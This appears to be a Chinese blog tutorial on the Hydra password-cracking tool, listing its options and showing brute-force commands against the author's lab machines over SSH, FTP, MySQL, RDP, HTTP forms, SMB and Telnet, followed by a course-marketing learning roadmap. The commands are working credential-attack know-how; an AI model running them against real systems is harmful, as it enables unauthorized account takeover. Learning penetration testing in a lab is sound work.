当前位置: 首页 > news >正文

Hydra(九头蛇)工具使用(非常详细)从零基础入门到精通,看完这一篇就够了。


1.Hydra简介 ========================================================================================================================================================================================================================================================================================================================== 1.1.Hydra介绍

hydra(九头蛇)是著名黑客组织thc的一款开源的暴力破解密码工具,功能非常强大,kali下是默认安装的,几乎支持所有协议的在线破解。密码能否破解,在于字典是否强大。

1.2.Hydra支持协议

Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MEMCACHED, MONGODB, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, Radmin, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP。

1.3.Hydra下载

至于Hydra下载在kail中是自带了,这里就不进行安装了,感兴趣的可以去项目地址看看。
项目地址:Hydra

2.Hydra使用

2.1.Hydra基本使用方式

使用语法:hydra 参数 IP地址 服务名 帮助命令:hydra -h 常用命令:hydra [-l 用户名|–L 用户名文件路径] [-p 密码|–P 密码文件路径] [-t 线程数] [–vV 显示详细信息] [–o 输出文件路径] [–f 找到密码就停止] [–e ns 空密码和指定密码试探] [ip|-M ip列表文件路径]

2.2.Hydra常用参数

参数介绍
-h查看帮助菜单。
-R继续从上一次进度接着破解。
-S采用SSL链接。
-sPORT 可通过这个参数指定非默认端口。
-lLOGIN 指定破解的用户,对特定用户破解。
-LFILE 指定用户名字典。
-pPASS 小写,指定密码破解,少用,一般是采用密码字典。
-PFILE 大写,指定密码字典。
-ens 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-CFILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-MFILE 指定目标列表文件一行一条。
-oFILE 指定结果输出文件。
-f在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-tTASKS 同时运行的线程数,默认为16。
-wTIME 设置最大超时的时间,单位秒,默认是30s。
-v/-V显示详细过程。
-x -h密码生成器帮助

2.3.Hydra注意事项

1.server:指定目标IP。
2.service:指定服务名,支持的服务跟协议有:telnet,ftp,pop3等等。
3.自己创建字典,然后放在当前的目录下或者指定目录。
4.参数可以统一放在最后,格式比如hydra ip 服务 参数。
5.如果能确定用户名一项时候,比如web登录破解,直接用 -l就可以,然后剩余时间破解密码。
6.缺点就是如果目标网站登录时候需要验证码就无法破解。

2.4.Kail字典

在kail中是自带字典的,可以通过/usr/share/wordlists/dirb路径进行查看,当然都是txt文件,也可以自己向里面添加。

文件名介绍
big.txt大的字典
small.txt小的字典
catala.txt项目配置字典
common.txt公共字典
euskera.txt数据目录字典
extensions_common.txt常用文件扩展名字典
indexes.txt首页字典
mutations_common.txt备份扩展名
spanish.txt方法名或库目录
others扩展目录,默认用户名、默认密码等
stress压力测试
vulns漏洞测试

2.5.Hydra密码生成器

参数介绍
-x MIN:MAX:CHARSET 密码暴力破解生成器规则:MIN表示生成密码的最短长度;MAX表示生成密码的最长长度;CHARSET表示使用指定的字符生成密码,'a’表示所有的小写字母,'A’表示所有的大写字母,'1’表示所有的数字,对于其他字符,只需要添加在后面即可
-y使用方式见-x,它表示charset的字符是实际的字符,而不是正则表达式
-x 3:5:a生成的密码字典长度为3到5位,由所有的小写字母组成
-x 5:8:A1生成的密码字典长度为5到8位,有所有的大写字母和数字组成
-x 5:5/%,.-生成的密码字典长度为5位,只由’/ % , . -'这5种字符构成
-x 3:5:aA1 -y生成的密码字典长度为3到5位,且只由’a A 1’这三种字符组成
-x 3:5:aA1.-+#生成的密码字典长度为3到8位,由大小写字母+数字+.-+#进行组合。

3.Hydra案例

3.1.创建账号密码文件

这里由于自己搭建的靶场密码都挺复杂的,通常爆破的可能不大,这里就手创建几个账号和密码进行测试。

3.2.SSH协议爆破

3.2.1.靶机信息

Kail攻击机:192.168.10.20
centos7靶机:192.168.10.30

3.2.2.开始爆破
3.2.2.1.不知账号

这里我是用我指定的账号密码文件进行破解,如果像我一样自己创建账号密码进行破解,那么你在那个目录下创建的就需要在那个目录下操作,否则就需要加上绝对路径,并且我这里设置的线程很少,如果你感觉慢,那么可以使用多一点的线程来跑字典。

命令:hydra -L user.txt -P passwd.txt -t 2 -vV -e ns 192.168.10.30 ssh

3.2.2.2.知道账号

若知道账号了,比如root,那么可以直接指定账号配合密码字典来测试,会更快。

命令:hydra -l root -P passwd.txt -t 2 -vV -e ns 192.168.10.30 ssh

3.3.FTP协议爆破

由于FTP协议爆破和SSH协议爆破基本一致,这里就演示具体的爆破手法了,直接放命令吧。

不知账号命令:hydra -L user.txt -P passwd.txt -t 2 -vV -e ns 192.168.10.30 ftp 知道账号命令:hydra -l root -P passwd.txt -t 2 -vV -e ns 192.168.10.30 ftp

3.4.数据库爆破

3.4.1.靶机信息

Kail攻击机:192.168.10.20
windows10靶机:192.168.10.150

3.4.2.开始爆破

这里我也不分知不知道账号了,这里假设我们知道账号是root。

命令:hydra -l root -P passwd.txt -t 6 -vV -e ns 192.168.10.150 mysql

3.5.远程桌面爆破

3.5.1.靶机信息

Kail攻击机:192.168.10.20
windows10靶机:192.168.10.150

3.5.2.开始爆破

远程桌面爆破这里可以设定用户名也可以不设定用户名,我在爆破测试的时候,发现当爆破出账号密码后,会继续爆破,但是会出报错,暂时不知道情况,不知道是不是为了爆破出更多的账号密码。
这里我也不区分有没有账号了。

命令:hydra -L user.txt -P passwd.txt -t 6 -vV -e ns 192.168.10.150 rdp

3.6.HTTP协议爆破

3.6.1.靶机信息

Kail攻击机:192.168.10.20
windows10靶机:192.168.10.150
页面地址:/pikachu/vul/burteforce/bf_form.php

3.6.2.开始爆破

在HTTP协议中存在POST与GET方式进行提交。

3.6.2.1.POST方式爆破
命令:hydra -l admin -P passwd.txt -t 6 -vV -e ns 192.168.10.150 http-post-form "/pikachu/vul/burteforce/bf_form.php:username=^USER^&password=^PASS^&submit=login:username or password is nois not exists~"

解释:后面的http-post-form是定义在http中使用post进行提交,后面的/pikachu/vul/burteforce/bf_form.php是访问的URL,而且后面的username与password是根据抓包获取到的格式,至于里面的USER和PASS是固定格式,再后面的login是报错信息。

3.6.2.2.GET方式爆破

这里其实格式和post差不多,都可以一样使用,只需要修改提交类型即可。

命令:hydra -L user.txt -P passwd.txt -t 6 -vV -e ns 192.168.10.50 http-get /phpMyAdmin/

解释:后面的http-get是定义在http中使用什么提交方式进行爆破,而后面的//phpMyAdmin/指的是URL的访问连接,例如:你的登录页面是admin/index.php,那么后面就要更改为/admin/index.php

3.7.其它爆破

由于我这边没有实际的案例,无法进行测试。

3.7.1.HTTPS爆破

下面这个命令,是我在搜索中发现基本上是一致的,然而我式了一下,Hydra直接报错,提示无https协议。正确暂时我还没有测试出来,后面我再找找相关的命令,测试出来,我再添加上去。

命令:hydra -m /index.php -l 用户名 -P 密码字典.txt IP地址 https
3.7.2.路由器爆破

路由器爆破,通常默认管理密码都是一串10位左右的各种大小写加特殊字符组成。而这里对路由器爆破就用枚举生成进行爆破。

命令:hydra -l admin -x 6:10:1aA.~!@#$%^&()-= -t 6 -vV -e ns 192.168.10.50 http-get /

解释:-x是后面的是代表自动生成6到10位由大小写数字+特殊字符组成的密码。

3.7.3.SMB爆破
命令:hydra -L user.txt P passwd.txt -t 6 -vV -e ns 192.168.10.50 smb
3.7.4.TELNET爆破
命令:hydra -L user.txt P passwd.txt -t 6 -vV -e ns 192.168.10.50 telnet
3.8其它

这里的协议不是很全,若需要其它的可自行百度搜索。

网络安全的知识多而杂,怎么科学合理安排?

下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!

初级黑客
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取

网络安全学习路线&学习资源

7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。

8、高级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。

网络安全工程师企业级学习路线

很多小伙伴想要一窥网络安全整个体系,这里我分享一份打磨了4年,已经成功修改到4.0版本的**《平均薪资40w的网络安全工程师学习路线图》**对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

学习资料工具包

压箱底的好资料,全面地介绍网络安全的基础理论,包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等,将基础理论和主流工具的应用实践紧密结合,有利于读者理解各种主流工具背后的实现机制。

​​​​​

网络安全源码合集+工具包

​​​​

视频教程

​​​​

视频配套资料&国内外网安书籍、文档&工具

​​​

好了就写到这了,大家有任何问题也可以随时私信问我!希望大家不要忘记点赞收藏哦!

特别声明:

此教程为纯技术分享!本文的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。!!!

网络安全学习路线&学习资源

本文转自网络如有侵权,请联系删除。

http://www.jsqmd.com/news/1173629/

相关文章:

  • Spring Boot 3 + Vue 3 + MySQL 乒乓球室管理系统源码 前后端分离项目实战
  • LTC1864 ADC与PIC24F微控制器的信号采集系统设计
  • 告别隐私泄露!这款Windows离线语音识别工具,让你的会议记录效率提升300%
  • 王国保卫战 1-3 部 Lua 脚本反编译实战:7-Zip + LJD 工具链配置与参数修改
  • 2026年7月呼和浩特机械革命售后本地化服务全景|交通指引气候养护到店全攻略 - 品牌售后
  • 遗传算法工程化实践:从早熟收敛到可诊断优化系统
  • Adobe Animate 2024 父子级关系:3步完成行星公转动画(附图层绑定技巧)
  • shim-review完整指南:从零开始掌握启动加载器安全评估
  • C++系统化学习路径:从零基础到实战项目的完整指南
  • MCP3551与PIC18F24J11高精度ADC系统设计与优化
  • Linux命令与基础操作指南
  • 2026年7月沈阳宏碁售后维修权益与质保政策解读|在保过保全知道 - 大品牌推荐
  • Unity Recorder:游戏开发者的4K多机位录制与性能优化实战指南
  • 推荐卤制菜品色泽均匀的卤料 - 中媒介
  • 找提供开业全程指导的火锅加盟品牌 - 中媒介
  • 国家区域医疗中心一院两区全栈国产化落地实战:北京积水潭医院贵州医院双院区信创改造深度解析
  • 3步快速下载Wallpaper Engine创意工坊壁纸:免费图形化工具终极指南
  • WaveTools鸣潮工具箱:解锁游戏性能与数据管理的一站式解决方案
  • 遗传算法实战进阶:精英保留、自适应变异与小生境技术详解
  • 魔兽争霸III现代化升级指南:Warcraft Helper让你的经典游戏重获新生
  • A3908与PIC18F4550实现高精度电机控制方案
  • OpenCore Legacy Patcher:让老旧Mac重获新生的终极开源解决方案
  • TMC7300与PIC32MX664F064L在直流电机控制中的优势与实践
  • 三十年信誉铸就品牌:易奢福在武汉钻石回收市场的“金字招牌” - ys韩
  • 终极分屏游戏神器:Nucleus Co-op 完全指南
  • Elixir v1.20:当动态语言学会“思考”,渐进式类型的全新里程碑
  • 3ds Max 2025 篮球建模:从球体到8步完成复杂曲面与凹槽(附参数)
  • 深入Base64编码原理:从查表本质到自定义码表实现内容混淆
  • 余姚电器厂家哪家好? - 中媒介
  • A3910与MKV42F64VLH16在电机驱动与控制中的高效协同设计